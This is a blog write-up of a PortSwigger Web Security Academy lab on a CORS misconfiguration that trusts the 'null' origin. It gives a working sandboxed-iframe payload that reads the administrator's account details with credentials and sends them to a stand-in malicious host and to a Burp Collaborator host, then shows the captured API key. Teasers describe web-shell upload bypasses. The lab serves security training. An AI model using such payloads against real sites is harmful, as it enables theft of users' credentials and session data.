On this page
apsyleg1 min read
#portswigger #cors #web-security
CORS Vulnerability with Trusted Null Origin
Lab
CORS vulnerability with trusted null origin · Apprentice
Solution
Given
This website has an insecure CORS configuration in that it trusts the "null" origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
This lab is essentially the same as the previous one — CORS vulnerability with basic origin reflection. Only this time we need to send null as the Origin.
For this case, PortSwigger suggests this payload:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Add the lab server URL. Add the Burp Collaborator address.
Final payload
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a0a00ea035af99f80fe030b0009004f.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://lynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com/log?key='+this.responseText;
};
</script>"></iframe>
It landed in Burp Collaborator:
{ "username": "administrator", "email": "", "apikey": "JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1", "sessions": ["G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO"] }
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.